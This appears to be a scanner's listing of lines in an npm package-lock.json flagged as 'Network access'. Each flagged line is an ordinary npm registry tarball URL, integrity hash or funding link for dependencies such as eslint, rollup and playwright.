    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.25.12.tgz",       "integrity": "sha512-alJC0uCZpTFrSL0CCDjcgleBXPnCrEAhTBILpeAp7M/OFgoqtAetfBzX0xM00MUsVVPpVjlPuMbREqnZCXaTnA==",
  • Network accessline 761
    "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.25.12.tgz",
  • Network accessline 776
    "node_modules/@eslint-community/eslint-utils": {       "version": "4.9.1",       "resolved": "https://registry.npmjs.org/@eslint-community/eslint-utils/-/eslint-utils-4.9.1.tgz",
  • Network accessline 777
    "version": "4.9.1",       "resolved": "https://registry.npmjs.org/@eslint-community/eslint-utils/-/eslint-utils-4.9.1.tgz",       "integrity": "sha512-phrYmNiYppR7znFEdqgfWHXR6NCkZEK7hwWDHZUjit/2/U0r6XvkDl0SYnoM51Hq7FhCGdLDT6zxCCOY1hexsQ=="
  • Network accessline 778
    "resolved": "https://registry.npmjs.org/@eslint-community/eslint-utils/-/eslint-utils-4.9.1.tgz",
  • Network accessline 787
    },       "funding": {         "url": "https://opencollective.com/eslint"
  • Network accessline 788
    "funding": {         "url": "https://opencollective.com/eslint"       },
  • Network accessline 789
    "url": "https://opencollective.com/eslint"
  • Network accessline 795
    "node_modules/@eslint-community/eslint-utils/node_modules/eslint-visitor-keys": {       "version": "3.4.3",       "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz",
  • Network accessline 796
    "version": "3.4.3",       "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz",       "integrity": "sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==",
  • Network accessline 797
    "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz",
  • Network accessline 803
    },       "funding": {         "url": "https://opencollective.com/eslint"
  • Network accessline 804
    "funding": {         "url": "https://opencollective.com/eslint"       }
  • Network accessline 805
    "url": "https://opencollective.com/eslint"
  • Network accessline 808
    "node_modules/@eslint-community/regexpp": {       "version": "4.12.2",       "resolved": "https://registry.npmjs.org/@eslint-community/regexpp/-/regexpp-4.12.2.tgz",
  • Network accessline 809
    "version": "4.12.2",       "resolved": "https://registry.npmjs.org/@eslint-community/regexpp/-/regexpp-4.12.2.tgz",       "integrity": "sha512-EriSTlt5OC9/7SXkRSCAhfSxxoSUgBm33OH+IkwbdpgoqsSsUg7y3uh+IICI/Qg4BBWr3U2i39RpmycbxMq4ew==",
  • Network accessline 810
    "resolved": "https://registry.npmjs.org/@eslint-community/regexpp/-/regexpp-4.12.2.tgz",
  • Network accessline 818
    "node_modules/@eslint/config-array": {       "version": "0.21.2",       "resolved": "https://registry.npmjs.org/@eslint/config-array/-/config-array-0.21.2.tgz",
  • Network accessline 819
    "version": "0.21.2",       "resolved": "https://registry.npmjs.org/@eslint/config-array/-/config-array-0.21.2.tgz",       "integrity": "sha512-nJl2KGTlrf9GjLimgIru+V/mzgSK0ABCDQRvxw5BjURL7WfH5uoWmizbH7QB6MmnMBd8cIC9uceWnezL1VZWWw==",
  • Network accessline 820
    "resolved": "https://registry.npmjs.org/@eslint/config-array/-/config-array-0.21.2.tgz",
  • Network accessline 833
    "node_modules/@eslint/config-helpers": {       "version": "0.4.2",       "resolved": "https://registry.npmjs.org/@eslint/config-helpers/-/config-helpers-0.4.2.tgz",
  • Network accessline 834
    "version": "0.4.2",       "resolved": "https://registry.npmjs.org/@eslint/config-helpers/-/config-helpers-0.4.2.tgz",       "integrity": "sha512-gBrxN88gOIf3R7ja5K9slwNayVcZgK6SOUORm2uBzTeIEfeVaIhOpCtTox3P6R7o2jLFwLFTLnC7kU/RGcYEgw==",
  • Network accessline 835
    "resolved": "https://registry.npmjs.org/@eslint/config-helpers/-/config-helpers-0.4.2.tgz",
  • Network accessline 846
    "node_modules/@eslint/core": {       "version": "0.17.0",       "resolved": "https://registry.npmjs.org/@eslint/core/-/core-0.17.0.tgz",
  • Network accessline 847
    "version": "0.17.0",       "resolved": "https://registry.npmjs.org/@eslint/core/-/core-0.17.0.tgz",       "integrity": "sha512-yL/sLrpmtDaFEiUj1osRP4TI2MDz1AddJL+jZ7KSqvBuliN4xqYY54IfdN8qD8Toa6g1iloph1fxQNkjOxrrpQ==",
  • Network accessline 848
    "resolved": "https://registry.npmjs.org/@eslint/core/-/core-0.17.0.tgz",
  • Network accessline 859
    "node_modules/@eslint/eslintrc": {       "version": "3.3.5",       "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-3.3.5.tgz",
  • Network accessline 860
    "version": "3.3.5",       "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-3.3.5.tgz",       "integrity": "sha512-4IlJx0X0qftVsN5E+/vGujTRIFtwuLbNsVUe7TO6zYPDR1O6nFwvwhIKEKSrl6dZchmYBITazxKoUYOjdtjlRg==",
  • Network accessline 861
    "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-3.3.5.tgz",
  • Network accessline 878
    },       "funding": {         "url": "https://opencollective.com/eslint"
  • Network accessline 879
    "funding": {         "url": "https://opencollective.com/eslint"       }
  • Network accessline 880
    "url": "https://opencollective.com/eslint"
  • Network accessline 883
    "node_modules/@eslint/eslintrc/node_modules/globals": {       "version": "14.0.0",       "resolved": "https://registry.npmjs.org/globals/-/globals-14.0.0.tgz",
  • Network accessline 884
    "version": "14.0.0",       "resolved": "https://registry.npmjs.org/globals/-/globals-14.0.0.tgz",       "integrity": "sha512-oahGvuMGQlPw/ivIYBjVSrWAfWLBeku5tpPE2fOPLi+WHffIWbuh2tCjhyQhTBPMf5E9jDEH4FOmTYgYwbKwtQ==",
  • Network accessline 885
    "resolved": "https://registry.npmjs.org/globals/-/globals-14.0.0.tgz",
  • Network accessline 891
    },       "funding": {         "url": "https://github.com/sponsors/sindresorhus"
  • Network accessline 892
    "funding": {         "url": "https://github.com/sponsors/sindresorhus"       }
  • Network accessline 893
    "url": "https://github.com/sponsors/sindresorhus"
  • Network accessline 896
    "node_modules/@eslint/js": {       "version": "9.39.4",       "resolved": "https://registry.npmjs.org/@eslint/js/-/js-9.39.4.tgz",
  • Network accessline 897
    "version": "9.39.4",       "resolved": "https://registry.npmjs.org/@eslint/js/-/js-9.39.4.tgz",       "integrity": "sha512-nE7DEIchvtiFTwBw4Lfbu59PG+kCofhjsKaCWzxTpt4lfRjRMqG6uMBzKXuEcyXhOHoUp9riAm7/aWYGhXZ9cw==",
  • Network accessline 898
    "resolved": "https://registry.npmjs.org/@eslint/js/-/js-9.39.4.tgz",
  • Network accessline 904
    },       "funding": {         "url": "https://eslint.org/donate"
  • Network accessline 905
    "funding": {         "url": "https://eslint.org/donate"       }
  • Network accessline 906
    "url": "https://eslint.org/donate"
  • Network accessline 909
    "node_modules/@eslint/object-schema": {       "version": "2.1.7",       "resolved": "https://registry.npmjs.org/@eslint/object-schema/-/object-schema-2.1.7.tgz",
  • Network accessline 910
    "version": "2.1.7",       "resolved": "https://registry.npmjs.org/@eslint/object-schema/-/object-schema-2.1.7.tgz",       "integrity": "sha512-VtAOaymWVfZcmZbp6E2mympDIHvyjXs/12LqWYjVw6qjrfF+VK+fyG33kChz3nnK+SU5/NeHOqrTEHS8sXO3OA==",
  • Network accessline 911
    "resolved": "https://registry.npmjs.org/@eslint/object-schema/-/object-schema-2.1.7.tgz",
  • Network accessline 919
    "node_modules/@eslint/plugin-kit": {       "version": "0.4.1",       "resolved": "https://registry.npmjs.org/@eslint/plugin-kit/-/plugin-kit-0.4.1.tgz",
  • Network accessline 920
    "version": "0.4.1",       "resolved": "https://registry.npmjs.org/@eslint/plugin-kit/-/plugin-kit-0.4.1.tgz",       "integrity": "sha512-43/qtrDUokr7LJqoF2c3+RInu/t4zfrpYdoSDfYyhg52rwLV6TnOvdG4fXm7IkSB3wErkcmJS9iEhjVtOSEjjA==",
  • Network accessline 921
    "resolved": "https://registry.npmjs.org/@eslint/plugin-kit/-/plugin-kit-0.4.1.tgz",
  • Network accessline 933
    "node_modules/@humanfs/core": {       "version": "0.19.1",       "resolved": "https://registry.npmjs.org/@humanfs/core/-/core-0.19.1.tgz",
  • Network accessline 934
    "version": "0.19.1",       "resolved": "https://registry.npmjs.org/@humanfs/core/-/core-0.19.1.tgz",       "integrity": "sha512-5DyQ4+1JEUzejeK1JGICcideyfUbGixgS9jNgex5nqkW+cY7WZhxBigmieN5Qnw9ZosSNVC9KQKyb+GUaGyKUA==",
  • Network accessline 935
    "resolved": "https://registry.npmjs.org/@humanfs/core/-/core-0.19.1.tgz",
  • Network accessline 943
    "node_modules/@humanfs/node": {       "version": "0.16.7",       "resolved": "https://registry.npmjs.org/@humanfs/node/-/node-0.16.7.tgz",
  • Network accessline 944
    "version": "0.16.7",       "resolved": "https://registry.npmjs.org/@humanfs/node/-/node-0.16.7.tgz",       "integrity": "sha512-/zUx+yOsIrG4Y43Eh2peDeKCxlRt/gET6aHfaKpuq267qXdYDFViVHfMaLyygZOnl0kGWxFIgsBy8QFuTLUXEQ==",
  • Network accessline 945
    "resolved": "https://registry.npmjs.org/@humanfs/node/-/node-0.16.7.tgz",
  • Network accessline 957
    "node_modules/@humanwhocodes/module-importer": {       "version": "1.0.1",       "resolved": "https://registry.npmjs.org/@humanwhocodes/module-importer/-/module-importer-1.0.1.tgz",
  • Network accessline 958
    "version": "1.0.1",       "resolved": "https://registry.npmjs.org/@humanwhocodes/module-importer/-/module-importer-1.0.1.tgz",       "integrity": "sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA
  • Network accessline 959
    "resolved": "https://registry.npmjs.org/@humanwhocodes/module-importer/-/module-importer-1.0.1.tgz",
  • Network accessline 966
    "funding": {         "type": "github",         "url": "https://github.com/sponsors/nzakas"
  • Network accessline 967
    "type": "github",         "url": "https://github.com/sponsors/nzakas"       }
  • Network accessline 968
    "url": "https://github.com/sponsors/nzakas"
  • Network accessline 971
    "node_modules/@humanwhocodes/retry": {       "version": "0.4.3",       "resolved": "https://registry.npmjs.org/@humanwhocodes/retry/-/retry-0.4.3.tgz",
  • Network accessline 972
    "version": "0.4.3",       "resolved": "https://registry.npmjs.org/@humanwhocodes/retry/-/retry-0.4.3.tgz",       "integrity": "sha512-bV0Tgo9K4hfPCek+aMAn81RppFKv2ySDQeMoSZuvTASywNTnVJCArCZE2FWqpvIatKu7VMRLWlR1EazvVhDyhQ==",
  • Network accessline 973
    "resolved": "https://registry.npmjs.org/@humanwhocodes/retry/-/retry-0.4.3.tgz",
  • Network accessline 980
    "funding": {         "type": "github",         "url": "https://github.com/sponsors/nzakas"
  • Network accessline 981
    "type": "github",         "url": "https://github.com/sponsors/nzakas"       }
  • Network accessline 982
    "url": "https://github.com/sponsors/nzakas"
  • Network accessline 985
    "node_modules/@jridgewell/gen-mapping": {       "version": "0.3.13",       "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.13.tgz",
  • Network accessline 986
    "version": "0.3.13",       "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.13.tgz",       "integrity": "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==",
  • Network accessline 987
    "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.13.tgz",
  • Network accessline 996
    "node_modules/@jridgewell/remapping": {       "version": "2.3.5",       "resolved": "https://registry.npmjs.org/@jridgewell/remapping/-/remapping-2.3.5.tgz",
  • Network accessline 997
    "version": "2.3.5",       "resolved": "https://registry.npmjs.org/@jridgewell/remapping/-/remapping-2.3.5.tgz",       "integrity": "sha512-LI9u/+laYG4Ds1TDKSJW2YPrIlcVYOwi2fUC6xB43lueCjgxV4lffOCZCtYFiH6TNOX+tQKXx97T4IKHbhyHEQ==",
  • Network accessline 998
    "resolved": "https://registry.npmjs.org/@jridgewell/remapping/-/remapping-2.3.5.tgz",
  • Network accessline 1007
    "node_modules/@jridgewell/resolve-uri": {       "version": "3.1.2",       "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz",
  • Network accessline 1008
    "version": "3.1.2",       "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz",       "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==",
  • Network accessline 1009
    "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz",
  • Network accessline 1017
    "node_modules/@jridgewell/sourcemap-codec": {       "version": "1.5.5",       "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz",
  • Network accessline 1018
    "version": "1.5.5",       "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz",       "integrity": "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og=="
  • Network accessline 1019
    "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz",
  • Network accessline 1024
    "node_modules/@jridgewell/trace-mapping": {       "version": "0.3.31",       "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.31.tgz",
  • Network accessline 1025
    "version": "0.3.31",       "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.31.tgz",       "integrity": "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw==",
  • Network accessline 1026
    "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.31.tgz",
  • Network accessline 1035
    "node_modules/@monaco-editor/loader": {       "version": "1.7.0",       "resolved": "https://registry.npmjs.org/@monaco-editor/loader/-/loader-1.7.0.tgz",
  • Network accessline 1036
    "version": "1.7.0",       "resolved": "https://registry.npmjs.org/@monaco-editor/loader/-/loader-1.7.0.tgz",       "integrity": "sha512-gIwR1HrJrrx+vfyOhYmCZ0/JcWqG5kbfG7+d3f/C1LXk2EvzAbHSg3MQ5lO2sMlo9izoAZ04shohfKLVT6crVA==",
  • Network accessline 1037
    "resolved": "https://registry.npmjs.org/@monaco-editor/loader/-/loader-1.7.0.tgz",
  • Network accessline 1044
    "node_modules/@monaco-editor/react": {       "version": "4.7.0",       "resolved": "https://registry.npmjs.org/@monaco-editor/react/-/react-4.7.0.tgz",
  • Network accessline 1045
    "version": "4.7.0",       "resolved": "https://registry.npmjs.org/@monaco-editor/react/-/react-4.7.0.tgz",       "integrity": "sha512-cyzXQCtO47ydzxpQtCGSQGOC8Gk3ZUeBXFAxD+CWXYFo5OqZyZUonFl0DwUlTyAfRHntBfw2p3w4s9R6oe1eCA==",
  • Network accessline 1046
    "resolved": "https://registry.npmjs.org/@monaco-editor/react/-/react-4.7.0.tgz",
  • Network accessline 1058
    "node_modules/@nodelib/fs.scandir": {       "version": "2.1.5",       "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz",
  • Network accessline 1059
    "version": "2.1.5",       "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz",       "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==",
  • Network accessline 1060
    "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz",
  • Network accessline 1072
    "node_modules/@nodelib/fs.stat": {       "version": "2.0.5",       "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz",
  • Network accessline 1073
    "version": "2.0.5",       "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz",       "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==",
  • Network accessline 1074
    "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz",
  • Network accessline 1082
    "node_modules/@nodelib/fs.walk": {       "version": "1.2.8",       "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz",
  • Network accessline 1083
    "version": "1.2.8",       "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz",       "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==",
  • Network accessline 1084
    "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz",
  • Network accessline 1096
    "node_modules/@playwright/test": {       "version": "1.63.0",       "resolved": "https://registry.npmjs.org/@playwright/test/-/test-1.63.0.tgz",
  • Network accessline 1097
    "version": "1.63.0",       "resolved": "https://registry.npmjs.org/@playwright/test/-/test-1.63.0.tgz",       "integrity": "sha512-oxMK4vllB9RK5NQ2l1pq1IfOf2AvnEuj/vYGDj0H2nMtmtZpKtCwt/l00GEO6xjGfpBNAvjovvYdCm50dRQkpQ==",
  • Network accessline 1098
    "resolved": "https://registry.npmjs.org/@playwright/test/-/test-1.63.0.tgz",
  • Network accessline 1112
    "node_modules/@rolldown/pluginutils": {       "version": "1.0.0-beta.27",       "resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.0-beta.27.tgz",
  • Network accessline 1113
    "version": "1.0.0-beta.27",       "resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.0-beta.27.tgz",       "integrity": "sha512-+d0F4MKMCbeVUJwG96uQ4SgAznZNSq93I3V+9NHA4OpvqG8mRCpGdKmK8l/dl02h2CCDHwW2FqilnTyDcAn
  • Network accessline 1114
    "resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.0-beta.27.tgz",
  • Network accessline 1119
    "node_modules/@rollup/rollup-android-arm-eabi": {       "version": "4.59.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.59.0.tgz",
  • Network accessline 1120
    "version": "4.59.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.59.0.tgz",       "integrity": "sha512-upnNBkA6ZH2VKGcBj9Fyl9IGNPULcjXRlg0LLeaioQWueH30p6IXtJEbKAgvyv+mJaMxSm1l6xw
  • Network accessline 1121
    "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.59.0.tgz",
  • Network accessline 1133
    "node_modules/@rollup/rollup-android-arm64": {       "version": "4.59.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.59.0.tgz",
  • Network accessline 1134
    "version": "4.59.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.59.0.tgz",       "integrity": "sha512-hZ+Zxj3SySm4A/DylsDKZAeVg0mvi++0PYVceVyX7hemkw7OreKdCvW2oQ3T1FMZvCaQXqOTHb8qmBSho
  • Network accessline 1135
    "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.59.0.tgz",
  • Network accessline 1147
    "node_modules/@rollup/rollup-darwin-arm64": {       "version": "4.59.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.59.0.tgz",
  • Network accessline 1148
    "version": "4.59.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.59.0.tgz",       "integrity": "sha512-W2Psnbh1J8ZJw0xKAd8zdNgF9HRLkdWwwdWqubSVk0pUuQkoHnv7rx4GiF9rT4t5DIZGAsConRE3AxCdJ4m
  • Network accessline 1149
    "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.59.0.tgz",
  • Network accessline 1161
    "node_modules/@rollup/rollup-darwin-x64": {       "version": "4.59.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.59.0.tgz",
  • Network accessline 1162
    "version": "4.59.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.59.0.tgz",       "integrity": "sha512-ZW2KkwlS4lwTv7ZVsYDiARfFCnSGhzYPdiOU4IM2fDbL+QGlyAbjgSFuqNRbSthybLbIJ915UtZBtmuLrQAT/w=
  • Network accessline 1163
    "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.59.0.tgz",
  • Network accessline 1175
    "node_modules/@rollup/rollup-freebsd-arm64": {       "version": "4.59.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.59.0.tgz",
  • Network accessline 1176
    "version": "4.59.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.59.0.tgz",       "integrity": "sha512-EsKaJ5ytAu9jI3lonzn3BgG8iRBjV4LxZexygcQbpiU0wU0ATxhNVEpXKfUa0pS05gTcSDMKpn3Sx+QB9
  • Network accessline 1177
    "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.59.0.tgz",
  • Network accessline 1189
    "node_modules/@rollup/rollup-freebsd-x64": {       "version": "4.59.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.59.0.tgz",
  • Network accessline 1190
    "version": "4.59.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.59.0.tgz",       "integrity": "sha512-d3DuZi2KzTMjImrxoHIAODUZYoUUMsuUiY4SRRcJy6NJoZ6iIqWnJu9IScV9jXysyGMVuW+KNzZvBLOcpdl3V
  • Network accessline 1191
    "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.59.0.tgz",
  • Network accessline 1203
    "node_modules/@rollup/rollup-linux-arm-gnueabihf": {       "version": "4.59.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.59.0.tgz",
  • Network accessline 1204
    "version": "4.59.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.59.0.tgz",       "integrity": "sha512-t4ONHboXi/3E0rT6OZl1pKbl2Vgxf9vJfWgmUoCEVQVxhW6Cw/c8I6hbbu7DAvgp82RKi
  • Network accessline 1205
    "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.59.0.tgz",
  • Network accessline 1217
    "node_modules/@rollup/rollup-linux-arm-musleabihf": {       "version": "4.59.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.59.0.tgz",
  • Network accessline 1218
    "version": "4.59.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.59.0.tgz",       "integrity": "sha512-CikFT7aYPA2ufMD086cVORBYGHffBo4K8MQ4uPS/ZnY54GKj36i196u8U+aDVT2LX4e
  • Network accessline 1219
    "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.59.0.tgz",
  • Network accessline 1231
    "node_modules/@rollup/rollup-linux-arm64-gnu": {       "version": "4.59.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.59.0.tgz",
  • Network accessline 1232
    "version": "4.59.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.59.0.tgz",       "integrity": "sha512-jYgUGk5aLd1nUb1CtQ8E+t5JhLc9x5WdBKew9ZgAXg7DBk0ZHErLHdXM24rfX+bKrFe+Xp5YuJo54
  • Network accessline 1233
    "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.59.0.tgz",
  • Network accessline 1245
    "node_modules/@rollup/rollup-linux-arm64-musl": {       "version": "4.59.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.59.0.tgz",
  • Network accessline 1246
    "version": "4.59.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.59.0.tgz",       "integrity": "sha512-peZRVEdnFWZ5Bh2KeumKG9ty7aCXzzEsHShOZEFiCQlDEepP1dpUl/SrUNXNg13UmZl+gzVDPsi
  • Network accessline 1247
    "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.59.0.tgz",
  • Network accessline 1259
    "node_modules/@rollup/rollup-linux-loong64-gnu": {       "version": "4.59.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.59.0.tgz",
  • Network accessline 1260
    "version": "4.59.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.59.0.tgz",       "integrity": "sha512-gbUSW/97f7+r4gHy3Jlup8zDG190AuodsWnNiXErp9mT90iCy9NKKU0Xwx5k8VlRAIV2uU9Cs
  • Network accessline 1261
    "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.59.0.tgz",
  • Network accessline 1273
    "node_modules/@rollup/rollup-linux-loong64-musl": {       "version": "4.59.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-musl/-/rollup-linux-loong64-musl-4.59.0.tgz",
  • Network accessline 1274
    "version": "4.59.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-musl/-/rollup-linux-loong64-musl-4.59.0.tgz",       "integrity": "sha512-yTRONe79E+o0FWFijasoTjtzG9EBedFXJMl888NBEDCDV9I2wGbFFfJQQe63OijbFCUZqxp
  • Network accessline 1275
    "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-musl/-/rollup-linux-loong64-musl-4.59.0.tgz",
  • Network accessline 1287
    "node_modules/@rollup/rollup-linux-ppc64-gnu": {       "version": "4.59.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.59.0.tgz",
  • Network accessline 1288
    "version": "4.59.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.59.0.tgz",       "integrity": "sha512-sw1o3tfyk12k3OEpRddF68a1unZ5VCN7zoTNtSn2KndUE+ea3m3ROOKRCZxEpmT9nsGnogpFP9x6m
  • Network accessline 1289
    "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.59.0.tgz",
  • Network accessline 1301
    "node_modules/@rollup/rollup-linux-ppc64-musl": {       "version": "4.59.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-musl/-/rollup-linux-ppc64-musl-4.59.0.tgz",
  • Network accessline 1302
    "version": "4.59.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-musl/-/rollup-linux-ppc64-musl-4.59.0.tgz",       "integrity": "sha512-+2kLtQ4xT3AiIxkzFVFXfsmlZiG5FXYW7ZyIIvGA7Bdeuh9Z0aN4hVyXS/G1E9bTP/vqszNIN/p
  • Network accessline 1303
    "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-musl/-/rollup-linux-ppc64-musl-4.59.0.tgz",
  • Network accessline 1315
    "node_modules/@rollup/rollup-linux-riscv64-gnu": {       "version": "4.59.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.59.0.tgz",
  • Network accessline 1316
    "version": "4.59.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.59.0.tgz",       "integrity": "sha512-NDYMpsXYJJaj+I7UdwIuHHNxXZ/b/N2hR15NyH3m2qAtb/hHPA4g4SuuvrdxetTdndfj9b1WO
  • Network accessline 1317
    "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.59.0.tgz",
  • Network accessline 1329
    "node_modules/@rollup/rollup-linux-riscv64-musl": {       "version": "4.59.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.59.0.tgz",
  • Network accessline 1330
